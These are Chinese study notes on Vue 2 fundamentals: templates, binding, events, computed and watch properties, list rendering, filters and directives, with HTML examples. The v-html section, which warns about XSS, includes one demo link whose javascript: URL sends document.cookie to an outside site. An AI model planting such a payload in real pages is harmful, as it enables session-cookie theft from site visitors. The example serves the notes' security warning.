Vue学习一
Vue核心
Vue简介
介绍
动态构建用户界面的渐进式JavaScript框架
特点
- 遵循MVVM模式
- 编码简洁,体积小,运行效率高,适合移动/PC端开发
- 它本身只关注UI,可以引入其它第三方库开发项目
- 采用组件化模式,提高代码复用率,让代码更好维护
- 声明式编码,让编码人员无需直接操作DOM,提高开发效率
- 使用虚拟DOM+Diff算法,尽量复用DOM节点
与其他JS框架的关联
- 借鉴 Angular 的模板和数据绑定技术
- 借鉴 React 的组件化和虚拟DOM技术
开发环境搭建
关键
初始Vue
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>01-hello world</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器 -->
<div id="root">
<h1>Hello! {{name}}!</h1>
</div>
<script type="text/javascript">
//阻止vue在启动时生成生产提示
Vue.config.productionTip = false;
//创建Vue实例
new Vue({
el: '#root', //el用于指定当前Vue实例为哪个容器服务
data: { //data用于存储数据,数据供el所指定的容器去使用
name: 'World'
}
})
</script>
</body>
</html>
Note
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
- root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- root容器里的代码被称为Vue模板
- Vue实例与容器是一一对应的
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用
- {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
- 一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新
模板语法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>02模板语法</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>插值语法</h1>
<h3>Hello! {{name}}</h3>
<hr>
<h1>指令语法</h1>
<a v-bind:href="url">链接1</a><br>
<a :href="url">链接2</a>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny',
url: 'https://www.baidu.com'
}
})
</script>
</html>
总结
- 插值语法
** 功能:用于解析标签体内容
** 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域 - 指令语法
** 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
** 举例:<a v-bind:href="xxx">
或简写为<a :href="xxx">
,xxx同样要写js表达式,且可以直接读取到data中的所有属性
** 备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子
数据绑定
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>03_数据绑定</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
单向数据绑定:<input type="text" v-bind:value="name"><br/>
双向数据绑定:<input type="text" v-model:value="name">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny'
}
})
</script>
</body>
</html>
总结
- 单向绑定(v-bind):数据只能从data流向页面
- 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
- 双向绑定一般都应用在表单类元素上(如:、、等)
- v-model:value可以简写为v-model,因为v-model默认收集的就是value值
el与data的两种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>04_el与data的两种写法</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
<h1>Hello! {{name}}</h1>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
//el的两种写法
const vm = new Vue({
el: '#root', //第一种
data: {
name: 'Sunny'
}
})
// 第二种 vue后加
vm.$mount('#root')
//data的两种写法
new Vue({
el: '#root',
//1.对象式
data: {
name: 'Sunny'
}
//2.函数式
data() {
return {
name: 'Sunny'
}
}
})
</script>
</body>
</html>
MVVM模型
- M:模型(Model),data中的数据
- V:视图(View),模板代码
- VM:视图模型(ViewModel),Vue实例
- data中所有的属性,最后都出现在了vm身上
- vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用
数据代理
- Vue中的数据代理通过vm对象来代理data对象中属性的操作(读/写)
- Vue中数据代理的好处:更加方便的操作data中的数据
- 原理
** 通过object.defineProperty()把data对象中所有属性添加到vm上
** 为每一个添加到vm上的属性,都指定一个getter/setter
** 在getter/setter内部去操作(读/写)data中对应的属性
事件处理
事件基本用法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>05_事件基本用法</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>欢迎来到{{name}}学习</h2>
<button v-on:click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2(77,$event)">点我提示信息2(传参)</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny'
},
methods: {
showInfo1(event) {
console.log(event)
},
showInfo2(number, event) {
console.log(number, event)
}
}
})
</script>
</html>
- 使用v-on:xxx或@xxx绑定事件,其中xxx是事件名
- 事件的回调需要配置在methods对象中,最终会在vm上
- methods中配置的函数,不要用箭头函数,否则this就不是vm了
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
@click="demo"
和@click="demo($event)"
效果一致,但后者可以传参
事件修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>06_事件修饰符</title>
<script type="text/javascript" src="js/vue.js"></script>
<style>
* {
margin-top: 20px;
}
.demo1 {
height: 50px;
background-color: skyblue;
}
.box1 {
padding: 5px;
background-color: skyblue;
}
.box2 {
padding: 5px;
background-color: orange;
}
.list {
width: 200px;
height: 200px;
background-color: pink;
overflow: auto;
}
li {
height: 100px;
}
</style>
</head>
<body>
<div id="root">
<h2>Hello! {{name}}</h2>
<!-- 阻止默认事件(常用) -->
<a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 阻止冒泡事件(常用) -->
<div class="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<a href="https://www.baidu.com" @click.prevent.stop="showInfo">点我提示信息</a>
</div>
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">
div2
</div>
</div>
<!-- 只有event.target时当前操作的元素时才触发事件 -->
<div class="demo1" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕 -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: "#root",
data: {
name: 'Sunny'
},
methods: {
showInfo(e) {
alert('你好呀!')
},
showMsg(msg) {
console.log(msg)
},
demo(){
for(let i=0;i<10000;i++){
console.log('#')
}
}
}
})
</script>
</html>
键盘事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>07_键盘事件</title>
<script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>Hello!! {{name}}</h2>
<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
<!-- 只能按ctrl+y执行 -->
<input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: "#root",
data: {
name: 'Sunny'
},
methods: {
showInfo(e) {
console.log(e.target.value)
}
}
})
</script>
</html>
总结
- 回车:enter
- 删除:delete (捕获“删除”和“退格”键)
- 退出:esc
- 空格:space
- 换行:tab (特殊,必须配合keydown去使用)
- 上:up
- 下:down
- 左:left
- 右:right
注意
- 系统修饰键(用法特殊):ctrl、alt、shift、meta
- 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
- 配合keydown使用:正常触发事件
- 可以使用keyCode去指定具体的按键,比如:
@keydown.13="showInfo"
,但不推荐这样使用 Vue.config.keyCodes.自定义键名 = 键码
,可以自定义按键别名
计算属性
<body>
<div id="root">
姓:<input type="text" v-model="firstName"><br><br>
名:<input type="text" v-model="lastName"><br><br>
姓名:<span>{{fullName}}</span>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: "#root",
data: {
firstName: '张',
lastName: '三'
},
computed: {
fullName: {
//当有人读取fullName时,get被调用,返回值作为fullName的值
//1.初次读取fullName时,get会调用一次
//2.所依赖的数据发生变化时,get会调用
get() {
//此处this为vm
return this.firstName + '-' + this.lastName
},
//当fullName被修改时,set被调用
set(value) {
const arr = value.split('-');
this.firstName = arr[0];
this.lastName = arr[1];
}
}
}
})
</script>
总结
- 定义:要用的属性不存在,需要通过已有属性计算得来
- 原理:底层借助了Objcet.defineproperty()方法提供的getter和setter
- 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
- 计算属性最终会出现在vm上,直接读取使用即可
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
- 如果计算属性确定不考虑修改,可以使用计算属性的简写形式
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
fullName(){
return this.firstName + '-' + this.lastName
}
}
})
监视属性
基本用法
<body>
<div id="root">
<h2>今天天气好{{info}}!</h2>
<!-- <button @click='isHot = !isHot'>点击切换天气</button> -->
<button @click='changWeather'>点击切换天气</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
isHot: true
},
computed: {
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
changWeather() {
this.isHot = !this.isHot
}
},
watch: {
isHot: {
//初始化时让handler调用一下
immediate: true,
//当isHot发生改变时,handler被调用
handler(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue)
}
}
}
})
</script>
</body>
总结
- 当被监视的属性变化时,回调函数自动调用,进行相关操作
- 监视的属性必须存在,才能进行监视
- 监视有两种写法:
** 创建Vue时传入watch配置
** 通过vm.$watch监视
vm.$watch('isHot',{
immediate:true,
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
深度监视
<body>
<div id="root">
<h3>a的值是{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
numbers: {
a: 1,
b: 1
}
},
watch: {
//监视多级结构中所以属性的变化
numbers: {
deep: true,
handler() {
console.log('numbers改变了')
}
},
//监视多级结构中某个属性的变化
'numbers.a': {
handler() {
console.log('a改变了')
}
}
}
})
</script>
</body>
总结
- Vue中的watch默认不监测对象内部值的改变(一层)
- 在watch中配置
deep:true
可以监测对象内部值的改变(多层) - Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
- 使用watch时根据监视数据的具体结构,决定是否采用深度监视
监视属性简写
watch:{
//正常写法
isHot:{
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
},
//简写
isHot(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
}
}
//正常写法
vm.$watch('isHot',{
handler(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue)
}
})
//简写
vm.$watch('isHot',function(newValue,oldValue){
console.log('isHot被修改了',newValue,oldValue,this)
})
监视属性&&计算属性
计算属性
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三'
},
computed:{
fullName(){
return this.firstName + '-' + this.lastName
}
}
})
监视属性
new Vue({
el:'#root',
data:{
firstName:'张',
lastName:'三',
fullName:'张-三'
},
watch:{
firstName(val){
setTimeout(()=>{
this.fullName = val + '-' + this.lastName
},1000);
},
lastName(val){
this.fullName = this.firstName + '-' + val
}
}
})
总结
- 区别
** computed能完成的功能,watch都可以完成
** watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作 - 原则(important!)
** 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
** 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象
绑定样式
class样式
- 写法:class=“xxx”,xxx可以是字符串、对象、数组
- 字符串写法适用于:类名不确定,要动态获取
- 数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
- 对象写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
style样式
:style="{fontSize: xxx}"
其中xxx是动态值:style="[a,b]"
其中a、b是样式对象
实例
<style>
.basic{
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy{
border: 4px solid red;;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg,yellow,pink,orange,yellow);
}
.sad{
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal{
background-color: skyblue;
}
.atguigu1{
background-color: yellowgreen;
}
.atguigu2{
font-size: 30px;
text-shadow:2px 2px 10px red;
}
.atguigu3{
border-radius: 20px;
}
</style>
<body>
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br /><br />
<!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br /><br />
<!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div> <br /><br />
<!-- 绑定style样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div> <br /><br />
<!-- 绑定style样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
</body>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny',
mood: 'normal',
classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
classObj: {
atguigu1: false,
atguigu2: false,
},
styleObj: {
fontSize: '40px',
color: 'red',
},
styleObj2: {
backgroundColor: 'orange'
},
styleArr: [
{
fontSize: '40px',
color: 'blue',
},
{
backgroundColor: 'gray'
}
]
},
methods: {
changeMood() {
const arr = ['happy', 'sad', 'nomal']
const index = Math.floor(Math.random() * 3)
this.mood = arr[index]
}
}
})
</script>
条件渲染
v-if
- 写法
**v-if="表达式"
**v-else-if="表达式"
**v-else
- 适用于:切换频率较低的场景
- 特点:不展示的DOM元素直接被移除
- 注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被打断
v-show:
- 写法:
v-show="表达式"
- 适用于:切换频率较高的场景
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
- 使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到
实例
<body>
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<h2 v-show="true">Hello,{{name}}!</h2>
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else>Vue</div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
name: 'Sunny',
n: 0
}
})
</script>
</body>
列表渲染
v-for
- 用于展示列表数据
- 语法:
<li v-for="(item, index) in xxx" :key="yyy">
,其中key可以是index,也可以是遍历对象的唯一标识 - 可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
<body>
<div id="root">
<h2>人员列表</h2>
<ul>
<li v-for="(p,index) in persons" :key="index">
{{p.name}}-{{p.age}}-{{index}}
</li>
</ul>
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) in car" :key="k">
{{k}}-{{value}}
</li>
</ul>
<h2>遍历字符串</h2>
<ul>
<li v-for="(char,index) in str" :key="index">
{{char}}-{{index}}
</li>
</ul>
<h2>遍历指定次数</h2>
<ul>
<li v-for="(number,index) in 5" :key="index">
{{index}}-{{number}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 },
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
},
})
</script>
</body>
key的作用与原理
原理
实例
<body>
<div id="root">
<h2>人员列表</h2>
<button @click.once="add">添加老刘</button>
<ul>
<li v-for="(p,index) in persons" :key="p.id">
{{p.name}} - {{p.age}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
]
},
methods: {
add() {
const p = { id: '004', name: '老刘', age: 40 }
this.persons.unshift(p)
}
},
})
</script>
</body>
key的内部原理
- 虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较
- 对比规则
** 旧虚拟DOM中找到了与新虚拟DOM相同的key:
1)若虚拟DOM中内容没变, 直接使用之前的真实DOM
2)若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
** 旧虚拟DOM中未找到与新虚拟DOM相同的key:
1)创建新的真实DOM,随后渲染到到页面 - 用index作为key可能会引发的问题:
** 若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低
** 若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题 - 开发中如何选择key?
** 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
** 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的
列表过滤
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPersons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
//用watch实现
//#region
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
filPersons: []
},
watch: {
keyWord: {
immediate: true,
handler(val) {
this.filPersons = this.persons.filter((p) => {
return p.name.indexOf(val) !== -1
})
}
}
}
})
//#endregion
// 用computed实现
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
},
computed: {
filPersons() {
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
</body>
列表排序
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPersons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
keyWord: '',
persons: [
{ id: '001', name: '马冬梅', age: 19, sex: '女' },
{ id: '002', name: '周冬雨', age: 20, sex: '女' },
{ id: '003', name: '周杰伦', age: 21, sex: '男' },
{ id: '004', name: '温兆伦', age: 22, sex: '男' }
],
sortType: 0
},
computed: {
filPersons() {
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1
})
if (this.sortType) {
arr.sort((a, b) => {
return this.sortType === 1 ? b.age - a.age : a.age - b.age
})
}
return arr
}
}
})
</script>
</body>
Vue数据监视
原理(监测对象)
- 通过setter实现监视,且要在
new Vue
时就传入要监测的数据 - 对象中后追加的属性,Vue默认不做响应式处理
- 如需给后添加的属性做响应式,请使用如下API:
**Vue.set(target,propertyName/index,value)
**vm.$set(target,propertyName/index,value)
原理(监测数组)
- 通过包裹数组更新元素的方法实现,本质就是做了两件事:
** 调用原生对应的方法对数组进行更新
** 重新解析模板,进而更新页面
注意
- vue会监视data中所有层次的数据
- 在Vue修改数组中的某个元素一定要用如下方法:
** 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
** Vue.set() 或 vm.$set() - Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性
<body>
<div id="root">
<h2>学生信息</h2>
<button @click="student.age++">年龄+1岁</button><br>
<button @click="addSex">添加性别属性,默认值:男</button><br>
<button @click="addFriend">列表首位添加一个朋友</button><br>
<button @click="updateFirstFriendName">修改第一个朋友的名字</button><br>
<button @click="addHobby">添加一个爱好</button><br>
<button @click="updateHobby">修改第一个爱好</button><br>
<button @click="removeSmoke">过滤掉爱好中的抽烟</button><br>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">
{{h}}
</li>
</ul>
<h3>朋友们:</h3>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
student: {
name: 'tom',
age: 18,
hobby: ['抽烟', '喝酒', '烫头'],
friends: [
{ name: 'jerry', age: 35 },
{ name: 'tony', age: 36 }
]
}
},
methods: {
addSex() {
// Vue.set(this.student, 'sex', '男')
this.$set(this.student, 'sex', '男')
},
addFriend() {
this.student.friends.unshift({ name: 'jack', age: 30 })
},
updateFirstFriendName() {
this.student.friends[0].name = 'owen'
},
addHobby() {
this.student.hobby.push('学习')
},
updateHobby() {
this.student.hobby.splice(0, 1, '跳舞')
},
removeSmoke() {
this.student.hobby = this.student.hobby.filter((h) => {
return h != '抽烟'
})
}
}
})
</script>
</body>
收集表单数据
- 若:
<input type="text"/>
,则v-model收集的是value值,用户输入的内容就是value值 - 若:
<input type="radio"/>
,则v-model收集的是value值,且要给标签配置value属性 - 若:
<input type="checkbox"/>
** 没有配置value属性,那么收集的是checked属性(勾选 or 未勾选,是布尔值)
** 配置了value属性:
1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2)v-model的初始值是数组,那么收集的就是value组成的数组 - v-model的三个修饰符:
** lazy:失去焦点后再收集数据
** number:输入字符串转为有效的数字
** trim:输入首尾空格过滤
<body>
<div id="root" >
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userInfo.account"><br>
密码:<input type="password" v-model="userInfo.password"><br>
年龄:<input type="number" v-model.number="userInfo.age"><br>
性别:
男<input type="radio" name='sex' v-model="userInfo.sex" value="male">
女<input type="radio" name='sex' v-model="userInfo.sex" value="female"><br>
爱好:
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br>
所属校区:
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br /><br />
其他信息:
<textarea v-model.lazy="userInfo.other"></textarea><br /><br />
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="#">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
userInfo: {
account: '',
password: '',
age:'',
sex: 'female',
hobby: [],
city: '',
other: '',
agree: ''
}
},
methods: {
demo(){
console.log(JSON.stringify(this.userInfo))
}
},
})
</script>
</body>
过滤器
- 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
- 语法:
- 注册过滤器:
Vue.filter(name,callback)
或new Vue{filters:{}}
- 使用过滤器:
{{ xxx | 过滤器名}}
或v-bind:属性 = "xxx | 过滤器名"
- 备注:
- 过滤器可以接收额外参数,多个过滤器也可以串联
- 并没有改变原本的数据,而是产生新的对应的数据
<body>
<div id="root">
<h2>时间</h2>
<h3>当前时间戳:{{time}}</h3>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是:{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time | timeFormater('YYYY-MM-DD HH:mm:ss')}}</h3>
<h3>截取年月日:{{time | timeFormater() | mySlice}}</h3>
</div>
<script>
Vue.config.productionTip = false
//全局过滤器
Vue.filter('mySlice', function (value) {
return value.slice(0, 4)
})
new Vue({
el: '#root',
data: {
time: 1676952729429,
},
computed: {
fmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
getFmtTime() {
return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
}
},
//局部过滤器
filters: {
timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
return dayjs(value).format(str)
}
}
})
</script>
</body>
内置指令
v-bind
:单向绑定解析表达式,可简写为:
v-model
:双向数据绑定v-for
:遍历数组 / 对象 / 字符串v-on
:绑定事件监听,可简写为@
v-if
:条件渲染(动态控制节点是否存存在)v-else
:条件渲染(动态控制节点是否存存在)v-show
:条件渲染 (动态控制节点是否展示)
v-text
- 作用:向其所在的节点中渲染文本内容
- 与插值语法的区别:
v-text
会替换掉节点中的内容,{{xx}}
则不会
<body>
<div id="root">
<div>{{name}}</div>
<div v-text="name">你好,</div>
<div v-text="str"></div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny',
str:'<h3>你好啊!</h3>'
}
})
</script>
</body>
v-html
- 作用:向指定节点中渲染包含html结构的内容
- 与插值语法的区别:
v-html
会替换掉节点中所有的内容,{{xx}}
则不会v-html
可以识别html结构
- 严重注意:
v-html
有安全性问题!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
- 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny',
str: '<h3>你好啊!</h3>',
str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>链接</a>',
}
})
</script>
</body>
v-cloak
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉
v-cloak
属性 - 使用css配合
v-cloak
可以解决网速慢时页面展示出{{xxx}}
的问题
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>22_v-cloak指令</title>
<style>
[v-cloak]{
display: none;
}
</style>
</head>
<body>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script src="js/vue.js"></script>
</body>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name: 'Sunny',
}
})
</script>
v-once
v-once
所在节点在初次动态渲染后,就视为静态内容了- 以后数据的改变不会引起
v-once
所在结构的更新,可以用于优化性能
<body>
<div id="root">
<h2 v-once>n初始化的值是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</body>
v-pre
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译
<body>
<div id="root">
<h2 v-pre>VUE其实很简单</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
}
})
</script>
</body>
自定义指令
<body>
<!-- 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
-->
<div id="root">
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n: 1
},
directives: {
//big函数何时会被调用?
//1.指令与元素成功绑定时(一上来)
//2.指令所在的模板被重新解析时
big(element, binding) {
console.log('big', this) //此处的this是window
element.innerText = binding.value * 10
},
fbind: {
//指令与元素成功绑定时(一上来)
bind(element, binding) {
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element, binding) {
element.focus()
},
//指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value
}
}
}
})
</script>
</body>
语法
- 局部指令
new Vue({
directives:{指令名:配置对象}
})
new Vue({
directives:{指令名:回调函数}
})
- 全局指令
